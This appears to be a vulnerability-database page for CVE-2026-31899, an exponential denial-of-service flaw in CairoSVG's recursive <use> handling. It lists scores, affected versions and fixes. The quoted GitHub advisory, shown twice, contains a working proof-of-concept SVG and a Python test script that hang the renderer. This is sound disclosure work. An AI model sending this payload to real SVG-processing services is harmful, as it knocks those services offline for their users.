Every CVE Search/ Get API key

CVE-2026-31899

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

7.5 HighPublic exploitFix available

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.52%Up 0.5 points since Mar 14, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Record
CVE-2026-31899
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-674
Updated
2026-11-02
EUVDEUVD-2026-12091 7.5

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Record
EUVD-2026-12091
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-f38f-5xpm-9r7c 7.5

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

Summary

Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Severity

High — CVSS 3.1: 7.5 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Impact

  • 1,411-byte SVG payload pins CPU at 100% indefinitely
  • Memory stays flat at ~43MB — no OOM kill, process never terminates
  • Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
  • Amplification factor: O(10^N) rendering calls from O(N) input

Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Suggested Fix

Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

References

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Record
GHSA-f38f-5xpm-9r7c
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
NVD 7.5

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Record
CVE-2026-31899
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-674
Updated
2026-11-02
OSVALPINE-CVE-2026-31899 7.5

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Record
ALPINE-CVE-2026-31899
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
OSV 7.5

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Record
CVE-2026-31899
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-674
Updated
2026-11-02
Show 11 moreShow less
OSVDEBIAN-CVE-2026-31899 7.5

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Record
DEBIAN-CVE-2026-31899
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
OSVGHSA-f38f-5xpm-9r7c 7.5

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

Summary

Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Severity

High — CVSS 3.1: 7.5 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Impact

  • 1,411-byte SVG payload pins CPU at 100% indefinitely
  • Memory stays flat at ~43MB — no OOM kill, process never terminates
  • Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
  • Amplification factor: O(10^N) rendering calls from O(N) input

Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Suggested Fix

Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

References

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Record
GHSA-f38f-5xpm-9r7c
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVPYSEC-2026-2122 7.5

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Record
PYSEC-2026-2122
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-31899 7.5

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Record
UBUNTU-CVE-2026-31899
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVMGASA-2026-0104 No score

Updated python-cairosvg packages fix security vulnerability

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification. (CVE-2026-31899)

Record
MGASA-2026-0104
Updated
2026-11-02
OSVopenSUSE-SU-2026:10379-1 No score

python311-CairoSVG-2.9.0-1.1 on GA media

These are all security issues fixed in the python311-CairoSVG-2.9.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:10379-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11729-1 No score

ansible-creator-26.8.0-1.1 on GA media

These are all security issues fixed in the ansible-creator-26.8.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11729-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:20886-1 No score

Security update for python-CairoSVG

This update for python-CairoSVG fixes the following issue:

  • CVE-2026-31899: denial of service via recursive <use> element amplification (bsc#1259690).
Record
openSUSE-SU-2026:20886-1
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-31899 No score

CVE-2026-31899 in cairosvg - Patched by Root

Root has patched CVE-2026-31899 in the cairosvg package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-31899
Updated
2026-11-02
OSVSUSE-SU-2026:1421-1 No score

Security update for python-CairoSVG

This update for python-CairoSVG fixes the following issue:

  • CVE-2026-31899: denial of service via recursive <use> element amplification (bsc#1259690).
Record
SUSE-SU-2026:1421-1
Updated
2026-11-02
OSVSUSE-SU-2026:22024-1 No score

Security update for python-CairoSVG

This update for python-CairoSVG fixes the following issue:

  • CVE-2026-31899: denial of service via recursive <use> element amplification (bsc#1259690).
Record
SUSE-SU-2026:22024-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
cairosvg
PyPI
through 2.8.2
2.9.0
py3-cairosvg
Alpine:v3.23
before 2.9.0-r0
2.9.0-r0
py3-cairosvg
Alpine:v3.24
before 2.9.0-r0
2.9.0-r0
cairosvg
Debian:12
All versions, plus listed versions
2.5.2-1.12.5.2-1.1+deb12u12.7.0-12.7.1-12.7.1-2
Show 5 moreShow less
2.8.2-12.9.0-12.9.0-22.9.1-12.9.1-2
None known
cairosvg
Debian:13
All versions, plus listed versions
2.7.1-22.8.2-12.9.0-12.9.0-22.9.1-12.9.1-2
None known
cairosvg
Debian:14
before 2.9.0-1, plus listed versions
2.7.1-22.8.2-1
2.9.0-1
cairosvg
PyPI
before 2.9.0, plus listed versions
0.10.1.10.1.20.20.3
Show 45 moreShow less
0.3.10.40.4.10.4.20.4.30.4.40.51.01.0.11.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.21.0.201.0.211.0.221.0.31.0.41.0.51.0.61.0.71.0.81.0.92.0.02.0.0rc12.0.0rc22.0.0rc32.0.0rc42.0.0rc52.0.0rc62.0.12.0.22.0.32.1.02.1.12.1.22.1.32.2.0
2.9.0
python-cairosvg
Mageia:9
before 2.5.2-6.1.mga9
2.5.2-6.1.mga9
cairosvg
Root:PyPI
before 2.7.1+aikido.4
2.7.1+aikido.42.7.1+aikido.52.7.1+aikido.32.7.1+aikido.62.7.1+aikido.7
python-CairoSVG
SUSE:Linux Enterprise Module for Python 3 15 SP7
before 2.7.1-150400.9.6.1
2.7.1-150400.9.6.1
Show 13 moreShow less
Affected packages
PackageAffectedFixed
python-CairoSVG
openSUSE:Leap 15.6
before 2.7.1-150400.9.6.1
2.7.1-150400.9.6.1
python-CairoSVG
SUSE:Linux Enterprise Server 16.0
before 2.7.1-160000.3.1
2.7.1-160000.3.1
python-CairoSVG
SUSE:Linux Enterprise Server for SAP applications 16.0
before 2.7.1-160000.3.1
2.7.1-160000.3.1
cairosvg
Ubuntu:16.04:LTS
All versions, plus listed versions
1.0.16-11.0.17-11.0.19-1
None known
cairosvg
Ubuntu:18.04:LTS
All versions, plus listed versions
1.0.20-1
None known
cairosvg
Ubuntu:20.04:LTS
All versions, plus listed versions
2.4.0-22.4.2-1
None known
cairosvg
Ubuntu:22.04:LTS
All versions, plus listed versions
2.5.0-1.12.5.2-1
None known
cairosvg
Ubuntu:24.04:LTS
All versions, plus listed versions
2.7.1-1
None known
cairosvg
Ubuntu:25.10
All versions, plus listed versions
2.7.1-12.7.1-2
None known
cairosvg
Ubuntu:26.10
All versions, plus listed versions
2.8.2-12.9.0-12.9.0-2
None known
cairosvg
Ubuntu:26.04:LTS
All versions, plus listed versions
2.7.1-22.8.2-1
None known
python-CairoSVG
openSUSE:Tumbleweed
before 2.9.0-1.1
2.9.0-1.1
ansible-creator
openSUSE:Tumbleweed
before 26.8.0-1.1
26.8.0-1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubSnailSploit/CVE-2026-318992026-03-15

History

History
RecordedChangedSources
affected, factsOSV
affected, aliases, referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-31899 is a high vulnerability (CVSS 7.5) in Courtbouillon Cairosvg, published March 13, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in cairosvg 2.9.0.

References

Show 11 moreShow less
This page doesn't list everything

Left out here: 15 versions. The JSON record has them.

MoveEnter Open